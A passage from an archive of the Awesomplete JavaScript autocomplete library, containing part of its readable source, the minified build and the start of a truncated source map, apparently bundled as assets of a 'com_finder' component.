el.label || text; if (value !== "") { items.push({ label: label, value: value }); } } }); this._list = items; } } if (document.activeElement === this.input) { this.evaluate(); } }, get selected() { return this.index > -1; }, get opened() { return this.isOpened; }, close: function (o) { if (!this.opened) { return; } this.input.setAttribute("aria-expanded", "false"); this.ul.setAttribute("hidden", ""); this.isOpened = false; this.index = -1; this.status.setAttribute("hidden", ""); $.fire(this.input, "awesomplete-close", o || {}); }, open: function () { this.input.setAttribute("aria-expanded", "true"); this.ul.removeAttribute("hidden"); this.isOpened = true; this.status.removeAttribute("hidden"); if (this.autoFirst && this.index === -1) { this.goto(0); } $.fire(this.input, "awesomplete-open"); }, destroy: function() { //remove events from the input and its form $.unbind(this.input, this._events.input); $.unbind(this.input.form, this._events.form); // cleanup container if it was created by Awesomplete but leave it alone otherwise if (!this.options.container) { //move the input out of the awesomplete container and remove the container and its children var parentNode = this.container.parentNode; parentNode.insertBefore(this.input, this.container); parentNode.removeChild(this.container); } //remove autocomplete and aria-autocomplete attributes this.input.removeAttribute("autocomplete"); this.input.removeAttribute("aria-autocomplete"); //remove this awesomeplete instance from the global array of instances var indexOfAwesomplete = _.all.indexOf(this); if (indexOfAwesomplete !== -1) { _.all.splice(indexOfAwesomplete, 1); } }, next: function () { var count = this.ul.children.length; this.goto(this.index < count - 1 ? this.index + 1 : (count ? 0 : -1) ); }, previous: function () { var count = this.ul.children.length; var pos = this.index - 1; this.goto(this.selected && pos !== -1 ? pos : count - 1); }, // Should not be used, highlights specific item without any checks! goto: function (i) { var lis = this.ul.children; if (this.selected) { lis[this.index].setAttribute("aria-selected", "false"); } this.index = i; if (i > -1 && lis.length > 0) { lis[i].setAttribute("aria-selected", "true"); this.status.textContent = lis[i].textContent + ", list item " + (i + 1) + " of " + lis.length; this.input.setAttribute("aria-activedescendant", this.ul.id + "_item_" + this.index); // scroll to highlighted element in case parent's height is fixed this.ul.scrollTop = lis[i].offsetTop - this.ul.clientHeight + lis[i].clientHeight; $.fire(this.input, "awesomplete-highlight", { text: this.suggestions[this.index] }); } }, select: function (selected, origin, originalEvent) { if (selected) { this.index = $.siblingIndex(selected); } else { selected = this.ul.children[this.index]; } if (selected) { var suggestion = this.suggestions[this.index]; var allowed = $.fire(this.input, "awesomplete-select", { text: suggestion, origin: origin || selected, originalEvent: originalEvent }); if (allowed) { this.replace(suggestion); this.close({ reason: "select" }); $.fire(this.input, "awesomplete-selectcomplete", { text: suggestion, originalEvent: originalEvent }); } } }, evaluate: function() { var me = this; var value = this.input.value; if (value.length >= this.minChars && this._list && this._list.length > 0) { this.index = -1; // Populate list with options that match this.ul.innerHTML = ""; this.suggestions = this._list .map(function(item) { return new Suggestion(me.data(item, value)); }) .filter(function(item) { return me.filter(item, value); }); if (this.sort !== false) { this.suggestions = this.suggestions.sort(this.sort); } this.suggestions = this.suggestions.slice(0, this.maxItems); this.suggestions.forEach(function(text, index) { me.ul.appendChild(me.item(text, value, index)); }); if (this.ul.children.length === 0) { this.status.textContent = "No results found"; this.close({ reason: "nomatches" }); } else { this.open(); this.status.textContent = this.ul.children.length + " results found"; } } else { this.close({ reason: "nomatches" }); this.status.textContent = "No results found"; } } }; // Static methods/properties _.all = []; _.FILTER_CONTAINS = function (text, input) { return RegExp($.regExpEscape(input.trim()), "i").test(text); }; _.FILTER_STARTSWITH = function (text, input) { return RegExp("^" + $.regExpEscape(input.trim()), "i").test(text); }; _.SORT_BYLENGTH = function (a, b) { if (a.length !== b.length) { return a.length - b.length; } return a < b? -1 : 1; }; _.CONTAINER = function (input) { return $.create("div", { className: "awesomplete", around: input }); } _.ITEM = function (text, input, item_id) { var html = input.trim() === "" ? text : text.replace(RegExp($.regExpEscape(input.trim()), "gi"), "<mark>$&</mark>"); return $.create("li", { innerHTML: html, "role": "option", "aria-selected": "false", "id": "awesomplete_list_" + this.count + "_item_" + item_id }); }; _.REPLACE = function (text) { this.input.value = text.value; }; _.DATA = function (item/*, input*/) { return item; }; // Private functions function Suggestion(data) { var o = Array.isArray(data) ? { label: data[0], value: data[1] } : typeof data === "object" && "label" in data && "value" in data ? data : { label: data, value: data }; this.label = o.label || o.value; this.value = o.value; } Object.defineProperty(Suggestion.prototype = Object.create(String.prototype), "length", { get: function() { return this.label.length; } }); Suggestion.prototype.toString = Suggestion.prototype.valueOf = function () { return "" + this.label; }; function configure(instance, properties, o) { for (var i in properties) { var initial = properties[i], attrValue = instance.input.getAttribute("data-" + i.toLowerCase()); if (typeof initial === "number") { instance[i] = parseInt(attrValue); } else if (initial === false) { // Boolean options must be false by default anyway instance[i] = attrValue !== null; } else if (initial instanceof Function) { instance[i] = null; } else { instance[i] = attrValue; } if (!instance[i] && instance[i] !== 0) { instance[i] = (i in o)? o[i] : initial; } } } // Helpers var slice = Array.prototype.slice; function $(expr, con) { return typeof expr === "string"? (con || document).querySelector(expr) : expr || null; } function $$(expr, con) { return slice.call((con || document).querySelectorAll(expr)); } $.create = function(tag, o) { var element = document.createElement(tag); for (var i in o) { var val = o[i]; if (i === "inside") { $(val).appendChild(element); } else if (i === "around") { var ref = $(val); ref.parentNode.insertBefore(element, ref); element.appendChild(ref); if (ref.getAttribute("autofocus") != null) { ref.focus(); } } else if (i in element) { element[i] = val; } else { element.setAttribute(i, val); } } return element; }; $.bind = function(element, o) { if (element) { for (var event in o) { var callback = o[event]; event.split(/\s+/).forEach(function (event) { element.addEventListener(event, callback); }); } } }; $.unbind = function(element, o) { if (element) { for (var event in o) { var callback = o[event]; event.split(/\s+/).forEach(function(event) { element.removeEventListener(event, callback); }); } } }; $.fire = function(target, type, properties) { var evt = document.createEvent("HTMLEvents"); evt.initEvent(type, true, true ); for (var j in properties) { evt[j] = properties[j]; } return target.dispatchEvent(evt); }; $.regExpEscape = function (s) { return s.replace(/[-\\^$*+?.()|[\]{}]/g, "\\$&"); }; $.siblingIndex = function (el) { /* eslint-disable no-cond-assign */ for (var i = 0; el = el.previousElementSibling; i++); return i; }; // Initialization function init() { $$("input.awesomplete").forEach(function (input) { new _(input); }); } // Make sure to export Awesomplete on self when in a browser if (typeof self !== "undefined") { self.Awesomplete = _; } // Are we in a browser? Check for Document constructor if (typeof Document !== "undefined") { // DOM already loaded? if (document.readyState !== "loading") { init(); } else { // Wait for it document.addEventListener("DOMContentLoaded", init); } } _.$ = $; _.$$ = $$; // Expose Awesomplete as a CJS module if (typeof module === "object" && module.exports) { module.exports = _; } return _; }()); com_finder/assets/awesomplete/js/awesomplete.min.js000060400000016470151666571470016607 0ustar00// Awesomplete - Lea Verou - MIT license !function(){function t(t){var e=Array.isArray(t)?{label:t[0],value:t[1]}:"object"==typeof t&&"label"in t&&"value"in t?t:{label:t,value:t};this.label=e.label||e.value,this.value=e.value}function e(t,e,i){for(var n in e){var s=e[n],r=t.input.getAttribute("data-"+n.toLowerCase());"number"==typeof s?t[n]=parseInt(r):!1===s?t[n]=null!==r:s instanceof Function?t[n]=null:t[n]=r,t[n]||0===t[n]||(t[n]=n in i?i[n]:s)}}function i(t,e){return"string"==typeof t?(e||document).querySelector(t):t||null}function n(t,e){return o.call((e||document).querySelectorAll(t))}function s(){n("input.awesomplete").forEach(function(t){new r(t)})}var r=function(t,n){var s=this;r.count=(r.count||0)+1,this.count=r.count,this.isOpened=!1,this.input=i(t),this.input.setAttribute("autocomplete","off"),this.input.setAttribute("aria-expanded","false"),this.input.setAttribute("aria-owns","awesomplete_list_"+this.count),this.input.setAttribute("role","combobox"),this.options=n=n||{},e(this,{minChars:2,maxItems:10,autoFirst:!1,data:r.DATA,filter:r.FILTER_CONTAINS,sort:!1!==n.sort&&r.SORT_BYLENGTH,container:r.CONTAINER,item:r.ITEM,replace:r.REPLACE,tabSelect:!1},n),this.index=-1,this.container=this.container(t),this.ul=i.create("ul",{hidden:"hidden",role:"listbox",id:"awesomplete_list_"+this.count,inside:this.container}),this.status=i.create("span",{className:"visually-hidden",role:"status","aria-live":"assertive","aria-atomic":!0,inside:this.container,textContent:0!=this.minChars?"Type "+this.minChars+" or more characters for results.":"Begin typing for results."}),this._events={input:{input:this.evaluate.bind(this),blur:this.close.bind(this,{reason:"blur"}),keydown:function(t){var e=t.keyCode;s.opened&&(13===e&&s.selected?(t.preventDefault(),s.select()):9===e&&s.selected&&s.tabSelect?s.select():27===e?s.close({reason:"esc"}):38!==e&&40!==e||(t.preventDefault(),s[38===e?"previous":"next"]()))}},form:{submit:this.close.bind(this,{reason:"submit"})},ul:{mousedown:function(t){t.preventDefault()},click:function(t){var e=t.target;if(e!==this){for(;e&&!/li/i.test(e.nodeName);)e=e.parentNode;e&&0===t.button&&(t.preventDefault(),s.select(e,t.target))}}}},i.bind(this.input,this._events.input),i.bind(this.input.form,this._events.form),i.bind(this.ul,this._events.ul),this.input.hasAttribute("list")?(this.list="#"+this.input.getAttribute("list"),this.input.removeAttribute("list")):this.list=this.input.getAttribute("data-list")||n.list||[],r.all.push(this)};r.prototype={set list(t){if(Array.isArray(t))this._list=t;else if("string"==typeof t&&t.indexOf(",")>-1)this._list=t.split(/\s*,\s*/);else if((t=i(t))&&t.children){var e=[];o.apply(t.children).forEach(function(t){if(!t.disabled){var i=t.textContent.trim(),n=t.value||i,s=t.label||i;""!==n&&e.push({label:s,value:n})}}),this._list=e}document.activeElement===this.input&&this.evaluate()},get selected(){return this.index>-1},get opened(){return this.isOpened},close:function(t){this.opened&&(this.input.setAttribute("aria-expanded","false"),this.ul.setAttribute("hidden",""),this.isOpened=!1,this.index=-1,this.status.setAttribute("hidden",""),i.fire(this.input,"awesomplete-close",t||{}))},open:function(){this.input.setAttribute("aria-expanded","true"),this.ul.removeAttribute("hidden"),this.isOpened=!0,this.status.removeAttribute("hidden"),this.autoFirst&&-1===this.index&&this.goto(0),i.fire(this.input,"awesomplete-open")},destroy:function(){if(i.unbind(this.input,this._events.input),i.unbind(this.input.form,this._events.form),!this.options.container){var t=this.container.parentNode;t.insertBefore(this.input,this.container),t.removeChild(this.container)}this.input.removeAttribute("autocomplete"),this.input.removeAttribute("aria-autocomplete");var e=r.all.indexOf(this);-1!==e&&r.all.splice(e,1)},next:function(){var t=this.ul.children.length;this.goto(this.index<t-1?this.index+1:t?0:-1)},previous:function(){var t=this.ul.children.length,e=this.index-1;this.goto(this.selected&&-1!==e?e:t-1)},goto:function(t){var e=this.ul.children;this.selected&&e[this.index].setAttribute("aria-selected","false"),this.index=t,t>-1&&e.length>0&&(e[t].setAttribute("aria-selected","true"),this.status.textContent=e[t].textContent+", list item "+(t+1)+" of "+e.length,this.input.setAttribute("aria-activedescendant",this.ul.id+"_item_"+this.index),this.ul.scrollTop=e[t].offsetTop-this.ul.clientHeight+e[t].clientHeight,i.fire(this.input,"awesomplete-highlight",{text:this.suggestions[this.index]}))},select:function(t,e){if(t?this.index=i.siblingIndex(t):t=this.ul.children[this.index],t){var n=this.suggestions[this.index];i.fire(this.input,"awesomplete-select",{text:n,origin:e||t})&&(this.replace(n),this.close({reason:"select"}),i.fire(this.input,"awesomplete-selectcomplete",{text:n}))}},evaluate:function(){var e=this,i=this.input.value;i.length>=this.minChars&&this._list&&this._list.length>0?(this.index=-1,this.ul.innerHTML="",this.suggestions=this._list.map(function(n){return new t(e.data(n,i))}).filter(function(t){return e.filter(t,i)}),!1!==this.sort&&(this.suggestions=this.suggestions.sort(this.sort)),this.suggestions=this.suggestions.slice(0,this.maxItems),this.suggestions.forEach(function(t,n){e.ul.appendChild(e.item(t,i,n))}),0===this.ul.children.length?(this.status.textContent="No results found",this.close({reason:"nomatches"})):(this.open(),this.status.textContent=this.ul.children.length+" results found")):(this.close({reason:"nomatches"}),this.status.textContent="No results found")}},r.all=[],r.FILTER_CONTAINS=function(t,e){return RegExp(i.regExpEscape(e.trim()),"i").test(t)},r.FILTER_STARTSWITH=function(t,e){return RegExp("^"+i.regExpEscape(e.trim()),"i").test(t)},r.SORT_BYLENGTH=function(t,e){return t.length!==e.length?t.length-e.length:t<e?-1:1},r.CONTAINER=function(t){return i.create("div",{className:"awesomplete",around:t})},r.ITEM=function(t,e,n){return i.create("li",{innerHTML:""===e.trim()?t:t.replace(RegExp(i.regExpEscape(e.trim()),"gi"),"<mark>$&</mark>"),role:"option","aria-selected":"false",id:"awesomplete_list_"+this.count+"_item_"+n})},r.REPLACE=function(t){this.input.value=t.value},r.DATA=function(t){return t},Object.defineProperty(t.prototype=Object.create(String.prototype),"length",{get:function(){return this.label.length}}),t.prototype.toString=t.prototype.valueOf=function(){return""+this.label};var o=Array.prototype.slice;i.create=function(t,e){var n=document.createElement(t);for(var s in e){var r=e[s];if("inside"===s)i(r).appendChild(n);else if("around"===s){var o=i(r);o.parentNode.insertBefore(n,o),n.appendChild(o),null!=o.getAttribute("autofocus")&&o.focus()}else s in n?n[s]=r:n.setAttribute(s,r)}return n},i.bind=function(t,e){if(t)for(var i in e){var n=e[i];i.split(/\s+/).forEach(function(e){t.addEventListener(e,n)})}},i.unbind=function(t,e){if(t)for(var i in e){var n=e[i];i.split(/\s+/).forEach(function(e){t.removeEventListener(e,n)})}},i.fire=function(t,e,i){var n=document.createEvent("HTMLEvents");n.initEvent(e,!0,!0);for(var s in i)n[s]=i[s];return t.dispatchEvent(n)},i.regExpEscape=function(t){return t.replace(/[-\\^$*+?.()|[\]{}]/g,"\\$&")},i.siblingIndex=function(t){for(var e=0;t=t.previousElementSibling;e++);return e},"undefined"!=typeof self&&(self.Awesomplete=r),"undefined"!=typeof Document&&("loading"!==document.readyState?s():document.addEventListener("DOMContentLoaded",s)),r.$=i,r.$$=n,"object"==typeof module&&module.exports&&(module.exports=r)}(); //# sourceMappingURL=awesomplete.min.js.map com_finder/assets/awesomplete/js/awesomplete.min.js.map000060400000057275151666571470017373 0ustar00{"version":3,"sources":["awesomplete.js"],"names":["Suggestion","data","o","Array","isArray","label","value","this","configure","instance","properties","i","initial","attrValue","input","getAttribute","toLowerCase","parseInt","Function","$","expr","con","document","querySelector","$$","slice","call","querySelectorAll","init","forEach","_","me","count","isOpened","setAttribute","options","minChars","maxItems","autoFirst","DATA","filter","FILTER_CONTAINS","sort","SORT_BYLENGTH","container","CONTAINER","item","ITEM","replace","REPLACE","tabSelect","index","ul","create","hidden","role","id","inside","status","className","aria-live","aria-atomic","textContent","_events","evaluate","bind","blur","close","reason","keydown","evt","c","keyCode","opened","selected","preventDefault","select","form","submit","mousedown","click","li","target","test","nodeName","parentNode","button","hasAttribute","list","removeAttribute","all","push","prototype","_list","indexOf","split","children","items","apply","el","disabled","text","trim","activeElement","fire","open","goto","destroy","unbind","insertBefore","removeChild","indexOfAwesomplete","splice","next","length","previous","pos","lis","scrollTop","offsetTop","clientHeight","suggestions","origin","siblingIndex","suggestion","innerHTML","map","appendChild","RegExp","regExpEscape","FILTER_STARTSWITH","a","b","around","item_id","aria-selected","Object","defineProperty","String","get","toString","valueOf","tag","element","createElement","val","ref","focus","event","callback","addEventListener","removeEventListener","type","createEvent","initEvent","j","dispatchEvent","s","previousElementSibling","self","Awesomplete","Document","readyState","module","exports"],"mappings":"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